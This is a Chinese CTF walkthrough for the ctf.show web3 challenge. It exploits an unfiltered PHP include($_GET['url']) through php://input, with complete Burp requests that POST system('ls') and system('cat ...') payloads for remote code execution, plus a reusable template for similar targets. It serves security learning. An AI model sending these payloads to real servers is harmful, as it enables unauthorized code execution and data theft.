ctf.show_web3

抓包发送右键到Repeater中

把 Repeater 里的所有内容全部清空 ,粘贴这段最简可执行请求

双击到代码行中复制

复制代码
POST /?url=php://input HTTP/1.1
Host: 2667631b-bfee-4c6c-ab0d-b147c4281884.challenge.ctf.show
Content-Type: text/plain
Connection: close

<?php system("ls -l"); ?>
必须严格遵守的格式:
  • 第 4 行 Connection: close 后面必须按一次回车 ,空出一行,再写 <?php ... ?>
  • 不要加任何多余的请求头 (比如 User-AgentAccept 等),只保留这 4 行
  • 不要手动写 Content-Length,Burp 会自动计算

🚀 操作步骤(照着点)

  1. 在 Repeater 的 Request 编辑区,按 Ctrl+A 全选,再按 Delete 清空所有内容
  2. 把上面的代码完整粘贴进去
  3. 确认 Host 地址是你的目标地址:2667631b-bfee-4c6c-ab0d-b147c4281884.challenge.ctf.show
  4. 点击左上角的 Send 按钮
  5. 看 Response 区,你会看到目录列表,里面一定有 ctf_go_go_go

🎯 拿到目录后,读取 flag

把 PHP 代码替换成下面这段,再次点击 Send

http

复制代码
POST /?url=php://input HTTP/1.1
Host: 2667631b-bfee-4c6c-ab0d-b147c4281884.challenge.ctf.show
Content-Type: text/plain
Connection: close

<?php system("cat ctf_go_go_go"); ?>

Response 区会直接显示 flag{xxx},这就是最终答案!

一、题目源码(核心)

php

运行

复制代码
<?php
include($_GET['url']);
?>

这一行代码 = 整个题目的 100% 考点


二、逐行解析原理(超级大白话)

1. $_GET['url'] 是什么?

  • 作用 :接收浏览器 URL 里的 ?url=xxx 参数
  • 例子 访问 http://xxx/?url=123``$_GET['url'] 就等于 123

2. include(...) 是什么?

  • PHP 官方功能 :把指定文件内容读取出来,当作 PHP 代码执行
  • 可以包含:
    • 本地文件 a.php
    • 系统文件 /etc/passwd
    • PHP 伪协议 (重点!)
      • php://input
      • php://filter
      • data://text/plain,xxxx

3. 关键爆炸点:php://input 是什么?

这是这道题的核心武器!

php://input = 读取 POST 请求的原始数据

意思是:

php

运行

复制代码
include("php://input");

等于:

plaintext

复制代码
把 POST 请求体里的内容 → 当作 PHP 代码 → 直接执行!

三、整题攻击链原理(最关键)

攻击链 = 4 步黄金流程

1. 你访问

plaintext

复制代码
/?url=php://input

2. 服务器执行

php

运行

复制代码
include("php://input");

3. php://input 去读取 POST 数据

你 POST 什么内容,服务器就把什么当作 PHP 代码执行

4. 你 POST:

php

运行

复制代码
<?php system("ls"); ?>

服务器就会执行:

plaintext

复制代码
ls 列出当前目录文件

你 POST:

php

运行

复制代码
<?php system("cat ctf_go_go_go"); ?>

服务器就执行:

plaintext

复制代码
cat ctf_go_go_go 输出 flag

四、为什么必须用 POST?

因为:

  • php://input 只能读取 POST 原始数据
  • GET 请求没有请求体,没法传代码
  • 所以必须 GET → 改成 POST

五、为什么请求头和载荷之间必须空一行?

HTTP 协议规定:

plaintext

复制代码
请求头
请求头
(空行)
请求体

没有空行 = 服务器不知道 POST 数据从哪开始 空行 = 告诉服务器:"头结束了,下面是要执行的代码!"


六、这道题的完整攻击流程(原理版)

1. 触发文件包含

plaintext

复制代码
/?url=php://input

2. 服务器执行

php

运行

复制代码
include("php://input");

3. 构造 POST 请求,传入 PHP 代码

plaintext

复制代码
POST
空行
<?php system("ls"); ?>

4. 服务器执行命令,返回目录

plaintext

复制代码
index.php
ctf_go_go_go

5. 再 POST 读取 flag

plaintext

复制代码
<?php system("cat ctf_go_go_go"); ?>

6. 得到 flag

plaintext

复制代码
flag{xxxxxxxx}

七、这道题考察的所有知识点(面试 / CTF 必背)

  1. 文件包含漏洞 include($_GET['xxx']) 无过滤

  2. PHP 伪协议 php://input 读取 POST 数据执行代码

  3. HTTP 请求结构请求头 + 空行 + 请求体

  4. POST 方法使用传递 PHP 代码

  5. 系统命令执行 system("ls")``system("cat flag")

  6. 无任何防护的危险代码


八、同类题目万能解题模型(看到就秒解)

看到代码:

php

运行

复制代码
include($_GET['参数']);

固定解法:

plaintext

复制代码
POST /?参数=php://input HTTP/1.1
Host: xxx
Content-Type: text/plain
Connection: close

<?php system("ls"); ?>

流程:

  1. ls 看目录
  2. cat 读 flag
  3. 结束

🎯 一句话终极总结

这道题 = 文件包含 + php://input + POST 命令执行 = 直接拿 flag

相关推荐
火柴就是我2 小时前
代码记录android怎么实现状态栏导航栏隐藏
android·flutter
梦里花开知多少2 小时前
浅谈ThreadPool
android·面试
帅次2 小时前
单例初始化中的耗时操作如何拖死主线程
android·webview·android runtime
用户0874881999172 小时前
Android 资源类型全解析及四大常用布局资源深度指南
android
火锅鸡的味道3 小时前
解决AOSP工程Android Studio打开卡顿
android·python·android studio
2501_915921433 小时前
2026 iOS 上架新趋势 iOS 发布流程模块化
android·ios·小程序·https·uni-app·iphone·webview
毕设源码-钟学长3 小时前
【开题答辩全过程】以 基于Android的高校二手交易系统为例,包含答辩的问题和答案
android
FLEMMINGS3 小时前
当 Android Studio 模拟器提示emulator failed to connect within 5 minutes
android·ide·android studio
鹏程十八少3 小时前
6. Android Shadow与众不同?一文解决插件化四大核心难题:ClassLoader冲突、Activity代理、资源隔离、动态更新(源码分析上)
android·前端·面试